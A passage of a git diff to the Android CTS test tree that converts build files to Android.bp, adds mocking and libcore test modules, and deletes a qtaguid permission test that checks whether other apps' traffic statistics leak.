- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.MinimalCollection;
-import com.google.common.collect.testing.QueueTestSuiteBuilder;
-import com.google.common.collect.testing.TestStringQueueGenerator;
-import com.google.common.collect.testing.TestsForListsInJavaUtil;
-import com.google.common.collect.testing.TestsForQueuesInJavaUtil;
-import com.google.common.collect.testing.features.CollectionFeature;
-import com.google.common.collect.testing.features.CollectionSize;
-
-import java.util.LinkedList;
-import java.util.Queue;
-import junit.framework.Test;
-
-/**
- * Guava-testlib tests for {@code Queue} implementations from {@code java.util}.
- */
-public class AndroidTestsForQueuesInJavaUtil extends TestsForQueuesInJavaUtil {
-
-    /**
-     * Override and copy the super class's implementation in order to change the name to ensure
-     * that created tests are unique and do not clash with those created by
-     * {@link TestsForListsInJavaUtil#testsForLinkedList()}, see bug 62438629.
-     */
-    @Override
-    public Test testsForLinkedList() {
-        return QueueTestSuiteBuilder.using(
-                new TestStringQueueGenerator() {
-                    @Override
-                    public Queue<String> create(String[] elements) {
-                        return new LinkedList<String>(MinimalCollection.of(elements));
-                    }
-                })
-                .named("LinkedList as Queue")
-                .withFeatures(
-                        CollectionFeature.GENERAL_PURPOSE,
-                        CollectionFeature.ALLOWS_NULL_VALUES,
-                        CollectionFeature.KNOWN_ORDER,
-                        CollectionSize.ANY)
-                .skipCollectionTests() // already covered in TestsForListsInJavaUtil
-                .suppressing(suppressForLinkedList())
-                .createTestSuite();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
deleted file mode 100644
index c4e41f4..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.TestsForSetsInJavaUtil;
-
-import junit.framework.Test;
-
-/**
- * Guava-testlib tests for {@code Set} implementations from {@code java.util}.
- */
-public class AndroidTestsForSetsInJavaUtil extends TestsForSetsInJavaUtil {
-}
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 619962b..568602f 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -51,6 +51,9 @@
 # where applicable.
 LOCAL_MULTILIB := both
 
+# This test requires cts-dalvik-host-test-runner to be built to run via Atest.
+LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
+
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/tests/libcore/simplemmodule/Android.mk b/tests/libcore/simplemmodule/Android.mk
new file mode 100644
index 0000000..2e6adc1
--- /dev/null
+++ b/tests/libcore/simplemmodule/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreSimpleMModuleTestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    core-libart+oj-intra-test \
+    core-simple-intra-test
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/simplemmodule/AndroidManifest.xml b/tests/libcore/simplemmodule/AndroidManifest.xml
new file mode 100644
index 0000000..ed825b3
--- /dev/null
+++ b/tests/libcore/simplemmodule/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.libcore.cts.simplemmodule"
+    android:targetSandboxVersion="2">
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS Libcore simple mmodule test cases"
+        android:targetPackage="android.libcore.cts.simplemmodule">
+    </instrumentation>
+</manifest>
diff --git a/tests/libcore/simplemmodule/AndroidTest.xml b/tests/libcore/simplemmodule/AndroidTest.xml
new file mode 100644
index 0000000..5eb0586
--- /dev/null
+++ b/tests/libcore/simplemmodule/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore simple mmodule test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreSimpleMModuleTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.libcore.cts.simplemmodule" />
+        <option name="runtime-hint" value="1m"/>
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
index 61dc8c7..095940c 100644
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -23,8 +23,6 @@
     cts-core-test-runner \
     wycheproof
 
-LOCAL_JAVA_LIBRARIES := bouncycastle
-
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
 
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
index 015b49d..9975712 100644
--- a/tests/libcore/wycheproof/Android.mk
+++ b/tests/libcore/wycheproof/Android.mk
@@ -23,8 +23,6 @@
     cts-core-test-runner \
     wycheproof
 
-LOCAL_JAVA_LIBRARIES := conscrypt
-
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
 
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
index 2afa4d2..13f74fe 100644
--- a/tests/mocking/Android.mk
+++ b/tests/mocking/Android.mk
@@ -23,10 +23,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target \
     android-support-test \
-    ctstestrunner
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
+    ctstestrunner \
+    dexmaker-mockmaker-tests
 LOCAL_COMPATIBILITY_SUITE := \
     cts vts general-tests
 LOCAL_PACKAGE_NAME := \
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 9e53939..c6e4ffe 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -25,6 +25,6 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.mocking.cts" />
-        <option name="runtime-hint" value="5s" />
+        <option name="runtime-hint" value="120s" />
     </test>
 </configuration>
diff --git a/tests/mocking/debuggable/Android.mk b/tests/mocking/debuggable/Android.mk
index 5187811..e72f69f 100644
--- a/tests/mocking/debuggable/Android.mk
+++ b/tests/mocking/debuggable/Android.mk
@@ -23,10 +23,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target \
     android-support-test \
-    ctstestrunner
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../../external/dexmaker/dexmaker-mockito-tests/src/androidTest/java)
+    ctstestrunner \
+    dexmaker-mockmaker-tests
 LOCAL_COMPATIBILITY_SUITE := \
     cts vts general-tests
 LOCAL_PACKAGE_NAME := \
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index 135de46..645f2a2 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -26,6 +26,6 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.mocking.cts.debuggable" />
-        <option name="runtime-hint" value="5s" />
+        <option name="runtime-hint" value="120s" />
     </test>
 </configuration>
diff --git a/tests/mocking/extended/Android.mk b/tests/mocking/extended/Android.mk
new file mode 100644
index 0000000..3fee499
--- /dev/null
+++ b/tests/mocking/extended/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := \
+    tests
+LOCAL_JAVA_LIBRARIES := \
+    android.test.runner.stubs
+LOCAL_STATIC_JAVA_LIBRARIES = \
+    mockito-target-extended \
+    android-support-test \
+    ctstestrunner \
+    dexmaker-mockmaker-tests \
+    dexmaker-inline-mockmaker-tests \
+    dexmaker-extended-mockmaker-tests \
+    android-support-v4
+LOCAL_MULTILIB := \
+    both
+LOCAL_JNI_SHARED_LIBRARIES := \
+    libdexmakerjvmtiagent \
+    libmultiplejvmtiagentsinterferenceagent \
+    libstaticjvmtiagent
+LOCAL_COMPATIBILITY_SUITE := \
+    cts vts general-tests
+LOCAL_PACKAGE_NAME := \
+    CtsExtendedMockingTestCases
+LOCAL_SDK_VERSION := \
+    current
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/tests/mocking/extended/AndroidManifest.xml b/tests/mocking/extended/AndroidManifest.xml
new file mode 100644
index 0000000..f62d95f
--- /dev/null
+++ b/tests/mocking/extended/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2018 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.extended.mocking.cts">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.dx.mockito.inline.extended.tests.EmptyActivity" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.extended.mocking.cts"
+                     android:label="CTS tests for mockito extended mocking">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/mocking/extended/AndroidTest.xml b/tests/mocking/extended/AndroidTest.xml
new file mode 100644
index 0000000..5fcd077
--- /dev/null
+++ b/tests/mocking/extended/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2018 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<configuration description="Config for Mockito extended mocking test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="mocking" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsExtendedMockingTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.extended.mocking.cts" />
+        <option name="runtime-hint" value="120s" />
+    </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm32 and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+</configuration>
diff --git a/tests/mocking/inline/Android.mk b/tests/mocking/inline/Android.mk
index 9fa873d..67b4fb4 100644
--- a/tests/mocking/inline/Android.mk
+++ b/tests/mocking/inline/Android.mk
@@ -23,15 +23,15 @@
 LOCAL_STATIC_JAVA_LIBRARIES = \
     mockito-target-inline \
     android-support-test \
-    ctstestrunner
+    ctstestrunner \
+    dexmaker-mockmaker-tests \
+    dexmaker-inline-mockmaker-tests \
+    android-support-v4
 LOCAL_MULTILIB := \
     both
 LOCAL_JNI_SHARED_LIBRARIES := \
     libdexmakerjvmtiagent \
     libmultiplejvmtiagentsinterferenceagent
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, \
-            ../../../../external/dexmaker/dexmaker-mockito-inline-tests/src/androidTest/java)
 LOCAL_COMPATIBILITY_SUITE := \
     cts vts general-tests
 LOCAL_PACKAGE_NAME := \
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 7158dcb..f7b51fb 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -25,7 +25,7 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.inline.mocking.cts" />
-        <option name="runtime-hint" value="30s" />
+        <option name="runtime-hint" value="120s" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java b/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
deleted file mode 100644
index 60d2a2a..0000000
--- a/tests/netlegacy22.permission/src/android/net/cts/legacy/api22/permission/QtaguidPermissionTest.java
+++ /dev/null
@@ -1,129 +0,0 @@
-package android.net.cts.legacy.api22.permission;
-
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.net.TrafficStats;
-import android.support.test.filters.MediumTest;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.net.ServerSocket;
-import java.net.Socket;
-
-import java.io.BufferedReader;
-import java.io.FileNotFoundException;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-public class QtaguidPermissionTest extends AndroidTestCase {
-
-    private static final String QTAGUID_STATS_FILE = "/proc/net/xt_qtaguid/stats";
-
-    @MediumTest
-    public void testDevQtaguidSane() throws Exception {
-        File f = new File("/dev/xt_qtaguid");
-        assertTrue(f.canRead());
-        assertFalse(f.canWrite());
-        assertFalse(f.canExecute());
-    }
-
-    public void testAccessPrivateTrafficStats() throws IOException {
-
-        final int ownAppUid = getContext().getApplicationInfo().uid;
-        try {
-            BufferedReader qtaguidReader = new BufferedReader(new FileReader(QTAGUID_STATS_FILE));
-            String line;
-            // Skip the header line;
-            qtaguidReader.readLine();
-            while ((line = qtaguidReader.readLine()) != null) {
-                String tokens[] = line.split(" ");
-                // Go through all the entries we find the qtaguid stats and fail if we find a stats
-                // with different uid.
-                if (tokens.length > 3 && !tokens[3].equals(String.valueOf(ownAppUid))) {
-                    fail("Other apps detailed traffic stats leaked, self uid: "
-                         + String.valueOf(ownAppUid) + " find uid: " + tokens[3]);
-                }
-            }
-            qtaguidReader.close();
-        } catch (FileNotFoundException e) {
-            fail("Was not able to access qtaguid/stats: " + e);
-        }
-    }
-
-    private void accessOwnTrafficStats(long expectedTxBytes) throws IOException {
-
-        final int ownAppUid = getContext().getApplicationInfo().uid;
-
-        long totalTxBytes = 0;
-        try {
-            BufferedReader qtaguidReader = new BufferedReader(new FileReader(QTAGUID_STATS_FILE));
-            String line;
-            while ((line = qtaguidReader.readLine()) != null) {
-                String tokens[] = line.split(" ");
-                if (tokens.length > 3 && tokens[3].equals(String.valueOf(ownAppUid))) {
-                    // Check the total stats of this uid is larger then 1MB
-                    if (tokens[2].equals("0x0")) {
-                        totalTxBytes += Integer.parseInt(tokens[7]);
-                    }
-                }
-            }
-            qtaguidReader.close();
-        } catch (FileNotFoundException e) {
-            fail("Was not able to access qtaguid/stats: " + e);
-        }
-        assertTrue(totalTxBytes + " expected to be greater than or equal to"
-            + expectedTxBytes + "bytes", totalTxBytes >= expectedTxBytes);
-    }
-
-    public void testAccessOwnQtaguidTrafficStats() throws IOException {
-
-        // Transfer 1MB of data across an explicitly localhost socket.
-        final int byteCount = 1024;
-        final int packetCount = 1024;
-
-        final ServerSocket server = new ServerSocket(0);
-        new Thread("CreatePrivateDataTest.createTrafficStatsWithTags") {
-            @Override
-            public void run() {
-                try {
-                    Socket socket = new Socket("localhost", server.getLocalPort());
-                    // Make sure that each write()+flush() turns into a packet:
-                    // disable Nagle.
-                    socket.setTcpNoDelay(true);
-                    OutputStream out = socket.getOutputStream();
-                    byte[] buf = new byte[byteCount];
-                    for (int i = 0; i < packetCount; i++) {
-                        TrafficStats.setThreadStatsTag(i % 10);
-                        TrafficStats.tagSocket(socket);
-                        out.write(buf);
-                        out.flush();
-                    }
-                    out.close();
-                    socket.close();
-                } catch (IOException e) {
-                  assertTrue("io exception" + e, false);
-                }
-            }
-        }.start();
-
-        try {
-            Socket socket = server.accept();
-            InputStream in = socket.getInputStream();
-            byte[] buf = new byte[byteCount];
-            int read = 0;
-            while (read < byteCount * packetCount) {
-                int n = in.read(buf);
-                assertTrue("Unexpected EOF", n > 0);
-                read += n;
-            }
-        } finally {
-            server.close();
-        }
-
-        accessOwnTrafficStats(byteCount * packetCount);
-    }
-}
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
index a18f87a..672deb0 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-false/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.false.cts">
+          package="android.netsecpolicy.usescleartext_false.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application android:usesCleartextTraffic="false">
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
index d4b7d5b..29a550b 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-true/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.true.cts">
+          package="android.netsecpolicy.usescleartext_true.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application android:usesCleartextTraffic="true">
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml b/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
index 07731b9..d574488 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidManifest.xml
@@ -17,12 +17,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.netsecpolicy.usescleartext.unspecified.cts">
+          package="android.netsecpolicy.usescleartext_unspecified.cts">
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-library android:name="org.apache.http.legacy"/>
 
     <application>
+        <uses-library android:name="org.apache.http.legacy"/>
     </application>
 </manifest>
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index 4f402ca..02ae698 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -33,7 +33,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
+#LOCAL_MIN_SDK_VERSION := 16
 
 include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/openglperf2/jni/Android.bp b/tests/openglperf2/jni/Android.bp
new file mode 100644
index 0000000..ad48757
--- /dev/null
+++ b/tests/openglperf2/jni/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+    name: "libctsopengl_jni",
+
+    cflags: [
+        // Needed in order to use fences for synchronization
+        "-DEGL_EGLEXT_PROTOTYPES",
+        "-funsigned-char",
+
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+
+    // Get all cpp files but not hidden files
+    srcs: ["**/*.cpp"],
+
+    shared_libs: [
+        "libEGL",
+        "libGLESv2",
+        "libandroid",
+        "liblog",
+    ],
+
+    sdk_version: "current",
+    stl: "c++_static",
+}
+
+cc_library_host_static {
+    name: "libctsopengl_test",
+
+    srcs: ["graphics/Matrix.cpp"],
+    export_include_dirs: ["graphics"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+
+    target: {
+        darwin: {
+            enabled: false,
+        },
+    },
+}
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
deleted file mode 100644
index 283bc18..0000000
--- a/tests/openglperf2/jni/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsopengl_jni
-
-# Needed in order to use fences for synchronization
-LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
-
-LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
-
-# Get all cpp files but not hidden files
-LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libEGL libGLESv2 libandroid liblog
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/openglperf2/test/Android.bp b/tests/openglperf2/test/Android.bp
new file mode 100644
index 0000000..edddc6c
--- /dev/null
+++ b/tests/openglperf2/test/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_host {
+    name: "cts_device_opengl_test",
+    srcs: ["MatrixTest.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    static_libs: [
+        "libctsopengl_test",
+        "liblog",
+    ],
+    target: {
+        darwin: {
+            enabled: false,
+        },
+    },
+}
diff --git a/tests/openglperf2/test/Android.mk b/tests/openglperf2/test/Android.mk
deleted file mode 100644
index 0103e3f..0000000
--- a/tests/openglperf2/test/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-#
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-LOCAL_SRC_FILES += ../jni/graphics/Matrix.cpp
-
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_C_INCLUDES += $(LOCAL_PATH)/../jni/graphics/
-LOCAL_STATIC_LIBRARIES := liblog
-LOCAL_LDFLAGS:= -g -lpthread
-LOCAL_MODULE_HOST_OS := linux
-LOCAL_MODULE:= cts_device_opengl_test
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/security/Android.mk b/tests/security/Android.mk
index aecc076..5bee990 100755
--- a/tests/security/Android.mk
+++ b/tests/security/Android.mk
@@ -19,7 +19,7 @@
 # Don't include this package in any target.
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := bouncycastle bouncycastle-bcpkix guava
+LOCAL_STATIC_JAVA_LIBRARIES := bouncycastle-unbundled bouncycastle-bcpkix-unbundled guava
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_MODULE := cts-security-test-support-library
 
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 5e75fa7..9aa0092 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -18,16 +18,16 @@
 
 import com.google.common.collect.ImmutableSet;
 
